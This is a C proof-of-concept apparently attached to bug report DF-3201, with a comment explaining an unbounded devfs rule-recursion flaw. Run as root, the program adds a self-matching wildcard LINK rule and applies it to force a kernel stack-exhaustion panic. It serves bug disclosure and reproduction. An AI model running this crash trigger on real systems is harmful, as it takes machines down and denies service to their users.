DF-3201 / selflink_rec.c
/* * DF-3201 - unbounded rule-application recursion: kernel stack exhaustion * (double fault panic) from a single self-matching LINK rule. * * devfs_allocp() (devfs_core.c:292) calls devfs_rule_check_apply() for every * newly created node. A LINK rule whose own output matches itself therefore * recurses without bound: * * check_apply(node) -> create_link() -> devfs_alias_create() * -> devfs_allocp() -> check_apply(alias) -> ... * * Rule { NAME "*", LINK, linkname "y" } applied to any node "foo" creates * alias "yfoo" (create_link strips strlen("*")-1 == 0 bytes); "yfoo" matches * "*" too, creating "yyfoo", then "yyyfoo"... -- each generation is one more * nested check_apply/allocp frame pair until the kernel stack is exhausted * and the CPU double-faults. No memory-safety bug is required; the OOB read * of DF-3199 is unnecessary for this -- a plain wildcard does it. * * NOTE: DEVFS_RULE_APPLY is asynchronous; the recursion happens on the devfs * core thread while it holds devfs_lock. * * Build: cc -static -O -o selflink_rec selflink_rec.c * Run : ./selflink_rec (as root; expect double fault panic) */ #include <sys/ioctl.h> #include <limits.h> #include <sys/devfs_rules.h> #include <stdio.h> #include <string.h> #include <stdlib.h> #include <unistd.h> #include <fcntl.h> #include <err.h> int main(void) { struct devfs_rule_ioctl r; int fd; fd = open("/dev/devfs", O_RDWR); if (fd < 0) err(1, "open /dev/devfs"); memset(&r, 0, sizeof(r)); r.rule_type = DEVFS_RULE_NAME; r.rule_cmd = DEVFS_RULE_LINK; strlcpy(r.mntpoint, "*", sizeof(r.mntpoint)); strlcpy(r.name, "*", sizeof(r.name)); /* matches EVERY node */ strlcpy(r.linkname, "y", sizeof(r.linkname));/* alias = "y" + node name */ if (ioctl(fd, DEVFS_RULE_ADD, &r) < 0) err(1, "DEVFS_RULE_ADD"); memset(&r, 0, sizeof(r)); strlcpy(r.mntpoint, "*", sizeof(r.mntpoint)); printf("issuing DEVFS_RULE_APPLY '*' -- expect stack-exhaustion " "double fault on the devfs core thread\n"); fflush(stdout); if (ioctl(fd, DEVFS_RULE_APPLY, &r) < 0) err(1, "DEVFS_RULE_APPLY"); sleep(5); printf("SURVIVED (no panic)\n"); return 0; } |